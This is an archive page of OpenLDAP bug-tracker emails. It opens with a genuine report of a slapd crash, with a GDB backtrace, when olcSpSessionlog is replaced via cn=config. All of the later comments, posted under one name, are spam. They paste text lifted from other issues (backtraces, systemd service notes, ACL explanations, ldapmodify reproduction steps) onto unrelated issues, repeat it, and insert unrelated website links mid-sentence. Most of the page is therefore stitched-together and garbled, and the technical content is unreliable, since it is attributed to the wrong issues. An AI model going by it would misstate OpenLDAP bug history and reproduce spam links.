openldap-bugs September 2021

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[Issue 9608] New: slapo-syncprov: Replace op on olcSpSessionlog segfault
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9608 Issue ID: 9608 Summary: slapo-syncprov: Replace op on olcSpSessionlog segfault Product: OpenLDAP Version: 2.4.59 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- With the following Syncprov overlay configuration: dn: olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config objectClass: olcSyncProvConfig objectClass: olcOverlayConfig olcOverlay: {0}syncprov olcSpCheckpoint: 100 10 You can crash slapd with the following modification as the cn=config rootdn: dn: olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config changetype: modify replace: olcSpSessionlog olcSpSessionlog: 10000 GDB backtrace shows: #0 0x00007f7b43f8b954 in sp_cf_gen (c=0x7f7b0761b450) at syncprov.c:3164 on = 0x55d6fb385b90 si = 0x55d6fb35c700 rc = 0 #1 0x000055d6fa4da4ec in config_modify_internal (ca=0x7f7b0761b450, rs=<optimized out>, op=<optimized out>, ce=<optimized out>) at bconfig.c:5773 vals = 0x7f7af8002680 nvals = 0x0 d = <optimized out> e = 0x55d6fb335a38 save_attrs = 0x55d6fb349498 a = 0x55d6fb350180 i = <optimized out> dels = 0x0 rc = <optimized out> oc_at = <optimized out> ct = 0x7f7b441970e0 <spcfg+64> nocs = 3 ptr = <optimized out> s = 0x0 deltail = 0x0 ml = 0x7f7af8102cd0 #2 config_back_modify (op=<optimized out>, rs=<optimized out>) at bconfig.c:5943 cfb = <optimized out> ce = <optimized out> last = 0x55d6fb387f30 ml = <optimized out> ca = {argc = 1, argv = 0x7f7af8103610, argv_size = 513, line = 0x0, tline = 0x0, fname = 0x55d6fa5f5a91 "slapd", lineno = 0, log = "olcSpSessionlog: value #0", '\000' <repeats 4098 times>, reply = {err = 0, msg = "modify/delete: olcSpSessionlog: no such attribute", '\000' <repeats 206 times>}, depth = 0, valx = -1, values = {v_int = 10000, v_uint = 10000, v_long = 10000, v_ulong = 10000, v_ber_t = 10000, v_string = 0x2710 <Address 0x2710 out of bounds>, v_bv = {bv_len = 10000, bv_val = 0x0}, v_dn = {vdn_dn = { bv_len = 10000, bv_val = 0x0}, vdn_ndn = {bv_len = 0, bv_val = 0x0}}, v_ad = 0x2710}, rvalue_vals = 0x0, rvalue_nvals = 0x0, op = 1, type = 2, ca_op = 0x7f7af80028f0, be = 0x55d6fb35c880, bi = 0x55d6fb385b90, ca_entry = 0x55d6fb335a38, ca_private = 0x0, cleanup = 0x0, table = Cft_Overlay} rdn = {bv_len = 10, bv_val = 0x55d6fb385d70 "olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config"} ptr = <optimized out> rad = 0x55d6fb31a570 do_pause = <optimized out> #3 0x000055d6fa508b89 in fe_op_modify (op=0x7f7af80028f0, rs=0x7f7b0761d860) at modify.c:303 update = <optimized out> repl_user = <optimized out> op_be = <optimized out> bd = 0x55d6fa87da80 <slap_frontendDB> textbuf = "\006\000\000\000y\000\000\000\001\000\000\000\300\000\000\000\000\000\000\000\020\001\000\000\000\000\000\000\000\000\000\000P\215.\373\326U\000\000 \307a\a{\177\000\000\006\000\000\000\000\000\000\000u\335P\372\326U\000\000`\330a\a{\177\000\000\344l\207\372\326U\000\000\005\000\000\000\000\000\000\000 \036\000\370z\177\000\000\017\000\000\000\000\000\000\000B[\233G{\177\000\000\064\000\000\000\000\000\000\000\000_Z\004\321WbM\300\307a\a{\177", '\000' <repeats 18 times>, "\320,\020\370z\177\000\000p]5\373\326U", '\000' <repeats 18 times>, "J\227P\372\326U\000\000\200\n\000\370z\177\000\000"... #4 0x000055d6fa50ab7d in do_modify (op=0x7f7af80028f0, rs=0x7f7b0761d860) at modify.c:177 dn = {bv_len = 51, bv_val = 0x7f7af8002867 "olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config"} textbuf = "olcSpSessionlog", '\000' <repeats 240 times> tmp = 0x0 #5 0x000055d6fa4f068c in connection_operation (ctx=ctx@entry=0x7f7b0761dad0, arg_v=arg_v@entry=0x7f7af80028f0) at connection.c:1182 rc = 80 cancel = <optimized out> op = 0x7f7af80028f0 rs = {sr_type = REP_RESULT, sr_tag = 0, sr_msgid = 0, sr_err = 0, sr_matched = 0x0, sr_text = 0x0, sr_ref = 0x0, sr_ctrls = 0x0, sr_un = {sru_search = { r_entry = 0x0, r_attr_flags = 0, r_operational_attrs = 0x0, r_attrs = 0x0, r_nentries = 0, r_v2ref = 0x0}, sru_sasl = {r_sasldata = 0x0}, sru_extended = { r_rspoid = 0x0, r_rspdata = 0x0}}, sr_flags = 0} tag = 102 opidx = SLAP_OP_MODIFY conn = 0x55d6fb522120 memctx = 0x7f7af8000a80 memctx_null = 0x0 memsiz = 1048576 __PRETTY_FUNCTION__ = "connection_operation" #6 0x000055d6fa4f09fb in connection_read_thread (ctx=0x7f7b0761dad0, argv=0xb) at connection.c:1318 rc = <optimized out> cri = {op = 0x7f7af80028f0, func = 0x0, arg = 0x0, ctx = <optimized out>, nullop = <optimized out>} s = <optimized out> #7 0x00007f7b4937527a in ldap_int_thread_pool_wrapper (xpool=0x55d6fb3101d0) at tpool.c:696 pool = 0x55d6fb3101d0 task = 0x7f7b00000b40 work_list = <optimized out> ctx = {ltu_id = 140166381561600, ltu_key = {{ltk_key = 0x55d6fa4ee6a0 <conn_counter_init>, ltk_data = 0x7f7af8002710, ltk_free = 0x55d6fa4ee780 <conn_counter_destroy>}, {ltk_key = 0x55d6fa549200 <slap_sl_mem_init>, ltk_data = 0x7f7af8000a80, ltk_free = 0x55d6fa5490c0 <slap_sl_mem_destroy>}, {ltk_key = 0x55d6fa504fd0 <slap_op_free>, ltk_data = 0x0, ltk_free = 0x55d6fa504f30 <slap_op_q_destroy>}, { ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0} <repeats 26 times>, {ltk_key = 0x0, ltk_data = 0x7f7b484ffd61 <_L_unlock_3056+19>, ltk_free = 0x0}, { ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0}, {ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0}}} kctx = <optimized out> keyslot = <optimized out> hash = <optimized out> __PRETTY_FUNCTION__ = "ldap_int_thread_pool_wrapper" #8 0x00007f7b484feea5 in start_thread () from /lib64/libpthread.so.0 No symbol table info available. #9 0x00007f7b479bb9fd in clone () from /lib64/libc.so.6 No symbol table info available. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 6916] slapo-unique returns operations error when assertion control is used
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6916 --- Comment #14 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- the following Syncprov overlay configuration: dn: olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config objectClass: olcSyncProvConfig objectClass: olcOverlayConfig http://www-look-4.com/ olcOverlay: {0}syncprov olcSpCheckpoint: 100 10 http://www.compilatori.com/ You can crash slapd with the following modification as the cn=config rootdn: dn: olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config changetype: modify replace: olcSpSessionlog http://www.wearelondonmade.com/ olcSpSessionlog: 10000 GDB backtrace shows: http://www.jopspeech.com/ #0 0x00007f7b43f8b954 in sp_cf_gen (c=0x7f7b0761b450) at syncprov.c:3164 on = 0x55d6fb385b90 si = 0x55d6fb35c700 rc = 0 http://joerg.li/ #1 0x000055d6fa4da4ec in config_modify_internal (ca=0x7f7b0761b450, rs=<optimized out>, op=<optimized out>, ce=<optimized out>) at bconfig.c:5773 vals = 0x7f7af8002680 nvals = 0x0 d = <optimized out> http://connstr.net/ e = 0x55d6fb335a38 save_attrs = 0x55d6fb349498 a = 0x55d6fb350180 i = <optimized out> dels = 0x0 rc = <optimized out> http://embermanchester.uk/ oc_at = <optimized out> ct = 0x7f7b441970e0 <spcfg+64> nocs = 3 ptr = <optimized out> s = 0x0 deltail = 0x0 ml = 0x7f7af8102cd0 http://www.slipstone.co.uk/ #2 config_back_modify (op=<optimized out>, rs=<optimized out>) at bconfig.c:5943 cfb = <optimized out> ce = <optimized out> last = 0x55d6fb387f30 ml = <optimized out> http://www.logoarts.co.uk/ ca = {argc = 1, argv = 0x7f7af8103610, argv_size = 513, line = 0x0, tline = 0x0, fname = 0x55d6fa5f5a91 "slapd", lineno = 0, log = "olcSpSessionlog: value #0", '\000' <repeats 4098 times>, reply = {err = 0, http://www.acpirateradio.co.uk/ msg = "modify/delete: olcSpSessionlog: no such attribute", '\000' <repeats 206 times>}, depth = 0, valx = -1, values = {v_int = 10000, v_uint = 10000, v_long = 10000, v_ulong = 10000, v_ber_t = 10000, v_string = 0x2710 <Address 0x2710 out of bounds>, v_bv = {bv_len https://waytowhatsnext.com/ = 10000, bv_val = 0x0}, v_dn = {vdn_dn = { bv_len = 10000, bv_val = 0x0}, vdn_ndn = {bv_len = 0, bv_val = 0x0}}, v_ad = 0x2710}, rvalue_vals = 0x0, rvalue_nvals = 0x0, op = 1, type = 2, https://www.webb-dev.co.uk/ ca_op = 0x7f7af80028f0, be = 0x55d6fb35c880, bi = 0x55d6fb385b90, ca_entry = 0x55d6fb335a38, ca_private = 0x0, cleanup = 0x0, table = Cft_Overlay} rdn = {bv_len = 10, bv_val = 0x55d6fb385d70 "olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config"} ptr = <optimized out> rad = 0x55d6fb31a570 do_pause = <optimized out> #3 0x000055d6fa508b89 in fe_op_modify (op=0x7f7af80028f0, rs=0x7f7b0761d860) at modify.c:303 http://www.iu-bloomington.com/ update = <optimized out> repl_user = <optimized out> op_be = <optimized out> bd = 0x55d6fa87da80 <slap_frontendDB> -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 5555] authzTo ACL check for wrong principal
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=5555 --- Comment #19 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- textbuf = "\006\000\000\000y\000\000\000\001\000\000\000\300\000\000\000\000\000\000\000\020\001\000\000\000\000\000\000\000\000\000\000P\215.\373\326U\000\000 http://www-look-4.com/ \307a\a{\177\000\000\006\000\000\000\000\000\000\000u\335P\372\326U\000\000`\330a\a{\177\000\000\344l\207\372\326U\000\000\005\000\000\000\000\000\000\000 \036\000\370z\177\000\000\017\000\000\000\000\000\000\000B[\233G{\177\000\000\064\000\000\000\000\000\000\000\000_Z\ http://www.compilatori.com/ 004\321WbM\300\307a\a{\177", '\000' <repeats 18 times>, "\320,\020\370z\177\000\000p]5\373\326U", '\000' <repeats 18 times>, "J\227P\372\326U\000\000\200\n\000\370z\177\000\000"... http://www.wearelondonmade.com/ #4 0x000055d6fa50ab7d in do_modify (op=0x7f7af80028f0, rs=0x7f7b0761d860) at modify.c:177 dn = {bv_len = 51, bv_val = 0x7f7af8002867 "olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config"} http://www.jopspeech.com/ textbuf = "olcSpSessionlog", '\000' <repeats 240 times> tmp = 0x0 #5 0x000055d6fa4f068c in connection_operation (ctx=ctx@entry=0x7f7b0761dad0, arg_v=arg_v@entry=0x7f7af80028f0) at connection.c:1182 http://joerg.li/ rc = 80 cancel = <optimized out> op = 0x7f7af80028f0 rs = {sr_type = REP_RESULT, sr_tag = 0, sr_msgid = 0, sr_err = 0, http://connstr.net/ sr_matched = 0x0, sr_text = 0x0, sr_ref = 0x0, sr_ctrls = 0x0, sr_un = {sru_search = { r_entry = 0x0, r_attr_flags = 0, r_operational_attrs = 0x0, r_attrs = 0x0, r_nentries = 0, r_v2ref = 0x0}, sru_sasl = {r_sasldata = 0x0}, sru_extended = { r_rspoid = 0x0, r_rspdata = 0x0}}, sr_flags = 0} http://embermanchester.uk/ tag = 102 opidx = SLAP_OP_MODIFY conn = 0x55d6fb522120 memctx = 0x7f7af8000a80 memctx_null = 0x0 memsiz = 1048576 __PRETTY_FUNCTION__ = "connection_operation" http://www.slipstone.co.uk/ #6 0x000055d6fa4f09fb in connection_read_thread (ctx=0x7f7b0761dad0, argv=0xb) at connection.c:1318 rc = <optimized out> cri = {op = 0x7f7af80028f0, func = 0x0, arg = 0x0, ctx = <optimized out>, nullop = <optimized out>} s = <optimized out> http://www.logoarts.co.uk/ #7 0x00007f7b4937527a in ldap_int_thread_pool_wrapper (xpool=0x55d6fb3101d0) at tpool.c:696 pool = 0x55d6fb3101d0 task = 0x7f7b00000b40 work_list = <optimized out> http://www.acpirateradio.co.uk/ ctx = {ltu_id = 140166381561600, ltu_key = {{ltk_key = 0x55d6fa4ee6a0 <conn_counter_init>, ltk_data = 0x7f7af8002710, ltk_free = 0x55d6fa4ee780 <conn_counter_destroy>}, {ltk_key = 0x55d6fa549200 <slap_sl_mem_init>, ltk_data = 0x7f7af8000a80, https://waytowhatsnext.com/ ltk_free = 0x55d6fa5490c0 <slap_sl_mem_destroy>}, {ltk_key = 0x55d6fa504fd0 <slap_op_free>, ltk_data = 0x0, ltk_free = 0x55d6fa504f30 <slap_op_q_destroy>}, { ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0} <repeats 26 times>, {ltk_key = 0x0, ltk_data = 0x7f7b484ffd61 <_L_unlock_3056+19>, ltk_free = 0x0}, { https://www.webb-dev.co.uk/ ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0}, {ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0}}} kctx = <optimized out> keyslot = <optimized out> hash = <optimized out> __PRETTY_FUNCTION__ = "ldap_int_thread_pool_wrapper" #8 0x00007f7b484feea5 in start_thread () from /lib64/libpthread.so.0 No symbol table info available. http://www.iu-bloomington.com/ #9 0x00007f7b479bb9fd in clone () from /lib64/libc.so.6 No symbol table info available. -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 8962] Dead links in FAQ page "Where can I find listings of schema items?"
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8962 --- Comment #5 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- master: Commits: • 0ae71baf by Howard Chu at 2021-07-13T12:10:28+01:00 ITS#9608 fix delete of nonexistent sessionlog http://www-look-4.com/ RE25: Commits: • 11e0c783 by Howard Chu at 2021-07-13T15:04:31+00:00 ITS#9608 fix delete of nonexistent sessionlog http://www.compilatori.com/ RE24: Commits: • db23304b by Howard Chu at 2021-07-13T15:05:36+00:00 ITS#9608 fix delete of nonexistent sessionlog http://www.wearelondonmade.com/ master: Commits: • 0ae71baf by Howard Chu at 2021-07-13T12:10:28+01:00 http://www.jopspeech.com/ ITS#9608 fix delete of nonexistent sessionlog RE25: Commits: • 11e0c783 http://joerg.li/ by Howard Chu at 2021-07-13T15:04:31+00:00 ITS#9608 fix delete of nonexistent sessionlog RE24: http://connstr.net/ Commits: • db23304b by Howard Chu at 2021-07-13T15:05:36+00:00 ITS#9608 fix delete of nonexistent sessionlog master: Commits: • 0ae71baf by Howard Chu at 2021-07-13T12:10:28+01:00 ITS#9608 fix delete of nonexistent sessionlog http://embermanchester.uk/ RE25: Commits: • 11e0c783 by Howard Chu at 2021-07-13T15:04:31+00:00 ITS#9608 fix delete of nonexistent sessionlog http://www.slipstone.co.uk/ RE24: Commits: • db23304b by Howard Chu at 2021-07-13T15:05:36+00:00 ITS#9608 fix delete of nonexistent sessionlog http://www.logoarts.co.uk/ but unfortunatley the FAQ software breaks Apache when you try and delete an answer. I think the better solution is just to remove the FAQ software completely. I experimented a bit with a service file. It seems to work well with either Type=forking and NotifyAccess=all, or Type=notify and http://www.acpirateradio.co.uk/ ExecStart=slapd -d none. The latter (disabling forking) is definitely what systemd upstream recommends. In either case, MAINPID= didn't actually seem to help anything. NotifyAccess=main has a chicken-and-egg problem, because systemd needs to know the main PID in order for us to send it the message containing the PID! :) I think the only reasonable way to leave forking enabled https://waytowhatsnext.com/ would be to also require a PIDFile= setting, which solves that problem. But I'd rather sidestep the entire thing, omit MAINPID= as well, and Looking at the systemctl output I still think STATUS= is redundant and could be omitted. https://www.webb-dev.co.uk/ So I guess my recommendation for the notify call boils down to: rc = sd_notify( 1, "READY=1" ); and a slapd.service along the lines of: [Unit] Description=OpenLDAP server [Service] Type=notify ExecStart=%LIBEXECDIR%/slapd -h 'ldap:/// ldapi:///' -d0 [Install] WantedBy=multi-user.target (basically identical to the example in systemd.service(5).) Side note: the version message from slapd appears in the journal twice, once with the timestamp and once without... I experimented a bit with a service file. It seems to work well with either Type=forking and NotifyAccess=all, or Type=notify and ExecStart=slapd -d none. The latter (disabling forking) is definitely what systemd upstream recommends. In either case, MAINPID= didn't actually seem to help anything. NotifyAccess=main has a chicken-and-egg problem, because systemd needs to know the main PID in order for us to send it the message containing the PID! :) I think the only reasonable way to leave forking enabled http://www.iu-bloomington.com/ would be to also require a PIDFile= setting, which solves that problem. But I'd rather sidestep the entire thing, omit MAINPID= as well, and Looking at the systemctl output I still think STATUS= is redundant and could be omitted. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6598] EXOP to return number of children of a (sub)tree
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6598 --- Comment #20 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- If non-anonymous access is needed, the slapd.access(5) manpage needs an > update too. (Or instead, to avoid duplicating text.) Currently it just > says: http://www-look-4.com/ > > Auth (=x) privileges are also required on the authzTo attribute > of the authorizing identity and/or on the authzFrom attribute of > the authorized identity. http://www.compilatori.com/ > > but it doesn't mention to who needs that auth access. It http://www.wearelondonmade.com/ is the authenticated ID that needs access in both cases. On further thought I think it is correct that the access is checked without reference to whether that ID has access to entry and parent entries, as (particularly in the case of authzFrom) http://www.jopspeech.com/ the authenticated ID may not have any direct access to the entry whose ID it is about to assume. http://joerg.li/ Thus, if principal A has authenticated and wishes to perform an operation using principal B's authorisation, the access required is: A needs auth access to authzTo in its own entry if that attribute is involved in giving A permission to act for B. http://connstr.net/ A needs auth access to authzFrom in B's entry if that attribute is involved in giving A permission to act for B. The rules are the same whether using a SASL authorization identity or using a ProxyAuth control on an LDAP operation. http://embermanchester.uk/ Thus I think my original report was wrong. This is a documentation issue, not a bug. If non-anonymous access is needed, the slapd.access(5) manpage needs an http://www.slipstone.co.uk/ > update too. (Or instead, to avoid duplicating text.) Currently it just > says: > > Auth (=x) privileges are also required on the authzTo attribute http://www.logoarts.co.uk/ > of the authorizing identity and/or on the authzFrom attribute of > the authorized identity. > > but it doesn't mention to who needs that auth access. http://www.acpirateradio.co.uk/ It is the authenticated ID that needs access in both cases. On further thought I think it is correct that the access is checked without reference to whether that ID has access to entry and parent entries, as (particularly in the case of authzFrom) the https://waytowhatsnext.com/ authenticated ID may not have any direct access to the entry whose ID it is about to assume. Thus, if principal A has authenticated and wishes to perform an https://www.webb-dev.co.uk/ operation using principal B's authorisation, the access required is: A needs auth access to authzTo in its own entry if that attribute is involved in giving A permission to act for B. A needs auth access to authzFrom in B's entry if that attribute is involved in giving A permission to act for B. The rules are the same whether using a SASL authorization identity or using a ProxyAuth control on an LDAP operation. http://www.iu-bloomington.com/ Thus I think my original report was wrong. This is a documentation issue, not a bug. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 5963] Explictly deleting all object classes and re-add some fails in modify request
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=5963 --- Comment #9 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- It would be extremely useful to have an extended operation that allows >> querying >> the number of children of http://www-look-4.com/ a given (sub)tree, so that one can avoid >> iterating >> through the entire subtree to determine this number. >> > Might as well ask for the numSubordinates operational attribute to be http://www.compilatori.com/ > implemented instead, this doesn't seem to merit a new exop. And for > numSubordinates, see the -devel archives for why we chose not to implement > it. http://www.wearelondonmade.com/ > > In either case, the server still needs to iterate over all entries > internally, > and the result has to take ACLs and entry disclosure into account. http://www.jopspeech.com/ An exop would allow to easily discriminate between intentional and "catchall" requests, like "+". Moreover, it might make sense to discriminate at least between subtree and onelevel number http://joerg.li/ of subordinates; this would require two distinct operational attributes, or a parameter in the exop. I'm not endorsing either solution, I'm just pointing out possible pros and cons. http://connstr.net/ It would be extremely useful to have an extended operation that allows >> querying >> the number of children of a given (sub)tree, so that one can avoid >> iterating http://embermanchester.uk/ >> through the entire subtree to determine this number. >> > Might as well ask for the numSubordinates operational attribute to be > implemented instead, this doesn't seem to merit a new exop. And for > numSubordinates, see the -devel archives for why we chose not to implement > it. http://www.slipstone.co.uk/ > > In either case, the server still needs to iterate over all entries > internally, > and the result has to take ACLs and entry disclosure into account. http://www.logoarts.co.uk/ An exop would allow to easily discriminate between intentional and "catchall" requests, like "+". Moreover, it might make sense to discriminate at least between subtree and onelevel number of subordinates; http://www.acpirateradio.co.uk/ this would require two distinct operational attributes, or a parameter in the exop. I'm not endorsing either solution, https://waytowhatsnext.com/ I'm just pointing out possible pros and cons. >> A simple "./configure --prefix=/whatever" ought to be a reasonable way >> to build OpenLDAP, like with most other packages. There are >> installation instructions and they do not mention NDEBUG. I strongly concur with Hallvard here. http://www.iu-bloomington.com/ > Every use of assert is "assert(the code is correct)" - but that often depends > on dynamic state, not just the statically written code. Yes, dynamic state including invalid input. But IMO "assert(the code is correct)" should never be hit no matter how bad the input was. And it should definitely not crash the server (with system's ressource limits being a https://www.webb-dev.co.uk/ unavoidable exception). Rephrasing: The meaning of the statement "the code is correct" should also include "invalid input is properly handled as error" - no matter what. -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 4730] Overlay that generates operational attributes to support GUI interaction
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=4730 --- Comment #20 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- If I explicitly remove all object classes of an entry by value and re-add some > of them the modify requests fail with > "Type or value exists: modify/add: objectClass: value #1 http://www-look-4.com/ already exists" > > Unfortunately I cannot provide a simple example for showing this. Specific > configuration and data upon request since it's private data which MUST NOT be > disclosed. http://www.compilatori.com/ I could not reproduce it. Probably, the best way to proceed is: 1) write down the objectClass values before and after the attempted http://www.wearelondonmade.com/ modifications 2) classify them as ABSTRACT, STRUCTURAL, AUXILIARY 3) indicate any inheritance relationship 4) send the outcome of (2) and (3) after mangling the objectClass names as required. http://www.jopspeech.com/ This should allow you (and others) to try to reproduce the issue without the need to disclose your info. http://joerg.li/ If I explicitly remove all object classes of an entry by value and re-add some > of them the modify requests fail with > "Type or value exists: modify/add: objectClass: value #1 already exists" http://connstr.net/ > > Unfortunately I cannot provide a simple example for showing this. Specific > configuration and data upon request since it's private data which MUST NOT be > disclosed. http://embermanchester.uk/ I could not reproduce it. Probably, the best way to proceed is: 1) write down the objectClass values before and after the attempted modifications 2) classify them as ABSTRACT, STRUCTURAL, AUXILIARY 3) indicate any inheritance relationship http://www.slipstone.co.uk/ 4) send the outcome of (2) and (3) after mangling the objectClass names as required. This should allow you (and others) to try to reproduce the issue without the need to disclose your info. http://www.logoarts.co.uk/ If I explicitly remove all object classes of an entry by value and re-add some > of them the modify requests fail with > "Type or value exists: modify/add: objectClass: value #1 already exists" http://www.acpirateradio.co.uk/ > > Unfortunately I cannot provide a simple example for showing this. Specific > configuration and data upon request since it's private data which MUST NOT be > disclosed. https://waytowhatsnext.com/ I could not reproduce it. Probably, the best way to proceed is: 1) write down the objectClass values before and after the attempted modifications 2) classify them as ABSTRACT, STRUCTURAL, AUXILIARY https://www.webb-dev.co.uk/ 3) indicate any inheritance relationship 4) send the outcome of (2) and (3) after mangling the objectClass names as required. This should allow you (and others) to try to reproduce the issue without the need to disclose your info http://www.iu-bloomington.com/ . -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 6656] logging "reqEntryUUID" in accesslog
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6656 --- Comment #9 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- his overlay provides simple support for allowedAttributes and allowedAttributesEffective, a (somewhat broken) AD feature that http://www-look-4.com/ is intended to help GUIs into determining, based on the current objectClass values of an object, what attributes would comply with the schema (without distinction between "allowed" and "required"), by listing them in http://www.compilatori.com/ "allowedAttributes", and, furthermore, by providing a hint to what of those values could be effectively added by the current connection, by listing them in http://www.wearelondonmade.com/ "allowedAttributesEffective". This is broken since it doesn't consider the possibility of value-dependent ACLs, so it should really be considered just a hint, while the "allowedAttributes" http://www.jopspeech.com/ could really be computed starting from the schema definition, which remains the recommended way to solve the problem http://joerg.li/ So this overlay should really be considered only food for thought as a starting base for a tighter integration of OpenLDAP into Samba4. There's minimal support for "allowedChildClasses" and http://connstr.net/ "allowedChildClassesEffective", whose definition is absolutely obscure to me, as I believe the only classes that can be added to an existing object are all the AUXILIARY ones, while considering what are effectively allowed implies getting into value-dependent ACLs. http://embermanchester.uk/ Some discussion can be found here (follow the thread) his overlay provides simple support for allowedAttributes and allowedAttributesEffective, a (somewhat broken) AD feature that is intended to help GUIs into determining, based on the current objectClass values of an http://www.slipstone.co.uk/ object, what attributes would comply with the schema (without distinction between "allowed" and "required"), by listing them in "allowedAttributes", and, furthermore, by providing a hint to what of http://www.logoarts.co.uk/ those values could be effectively added by the current connection, by listing them in "allowedAttributesEffective". This is broken since it doesn't consider the possibility of value-dependent ACLs, so it should really be considered just a http://www.acpirateradio.co.uk/ hint, while the "allowedAttributes" could really be computed starting from the schema definition, which remains the recommended way to solve the problem So this overlay should really be considered only http://www.acpirateradio.co.uk/ food for thought as a starting base for a tighter integration of OpenLDAP into Samba4. There's minimal support for "allowedChildClasses" and https://waytowhatsnext.com/ "allowedChildClassesEffective", whose definition is absolutely obscure to me, as I believe the only classes that can be added to an existing object are all the AUXILIARY ones, while considering what are effectively allowed implies getting into value-dependent ACLs. https://www.webb-dev.co.uk/ Some discussion can be found here (follow the thread) So I guess my recommendation for the notify call boils down to: rc = sd_notify( 1, "READY=1" ); and a slapd.service along the lines of: [Unit] Description=OpenLDAP server [Service] Type=notify http://www.iu-bloomington.com/ ExecStart=%LIBEXECDIR%/slapd -h 'ldap:/// ldapi:///' -d0 [Install] WantedBy=multi-user.target (basically identical to the example in systemd.service(5).) Side note: the version message from slapd appears in the journal twice, once with the timestamp and once without... -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 6899] Read Entry Control response value is not compliant to definition of SearchResultEntry
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6899 --- Comment #11 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- > Note that with assertion control always >> Operations error: "unique_search failed" >> is returned even if the attribute values http://www-look-4.com/ are unique. >> >> I'd really like to get this solved. web2ldap makes use of the assertion >> control to ensure that an entry has not been changed since being >> edited by the >> user. Otherwise I have to implement another vendor-specific hack http://www.compilatori.com/ >> switching off >> this feature when OpenLDAP is used as server. :-( > > First step toward a solution would be providing slapd -d output for the > problem. Probably a sample config would help too. http://www.wearelondonmade.com/ (Sigh! Did anybody actually read through my report?) http://www.jopspeech.com/ Take any slapd.conf with database hdb and add these lines (no other overlays configured): overlay unique unique_attributes uid uidNumber employeeNumber http://joerg.li/ Or any other LDAP-URL-based unique constraint... Then apply a LDIF change record (example below) which contains any of the http://connstr.net/ attributes defined as unique (no matter whether unique constraint is violated or not). ------------------------------- snip ------------------------------- dn: cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local changetype: modify replace: employeeNumber http://embermanchester.uk/ employeeNumber: 456 - ------------------------------- snip ------------------------------- Try these commands (bind-DN is the rootdn here): http://www.slipstone.co.uk/ Without assertion control it works: $ ldapmodify -H ldap://localhost:2071 -D "uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local" http://www.logoarts.co.uk/ Assertion control just contains objectClass filter: $ ldapmodify -H ldap://localhost:2071 -D "uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif -e 'assert=(objectClass=*)' modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local" http://www.acpirateradio.co.uk/ This fails: $ ldapmodify -H ldap://localhost:2071 -D "uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif -e 'assert=(cn=*)'modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local" ldap_modify: Operations error (1) additional info: unique_search failed > Note that with assertion control always >> Operations error: "unique_search failed" https://waytowhatsnext.com/ >> is returned even if the attribute values are unique. >> >> I'd really like to get this solved. web2ldap makes use of the assertion >> control to ensure that an entry has not been changed since being >> edited by the >> user. Otherwise I have to implement another vendor-specific hack >> switching off >> this feature when OpenLDAP is used as server. :-( > > First step toward a solution would be providing slapd -d output for the > problem. Probably a sample config would help too. https://www.webb-dev.co.uk/ (Sigh! Did anybody actually read through my report?) Take any slapd.conf with database hdb and add these lines (no other overlays configured): overlay unique unique_attributes uid uidNumber employeeNumber Or any other LDAP-URL-based unique constraint... Then apply a LDIF change record (example below) which contains any of the attributes defined as unique (no matter whether unique constraint is violated or not). ------------------------------- snip ------------------------------- dn: cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local changetype: modify replace: employeeNumber employeeNumber: 456 - ------------------------------- snip ------------------------------- Try these commands (bind-DN is the rootdn here): Without assertion control it works: $ ldapmodify -H ldap://localhost:2071 -D http://www.iu-bloomington.com/ "uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif modifying entry 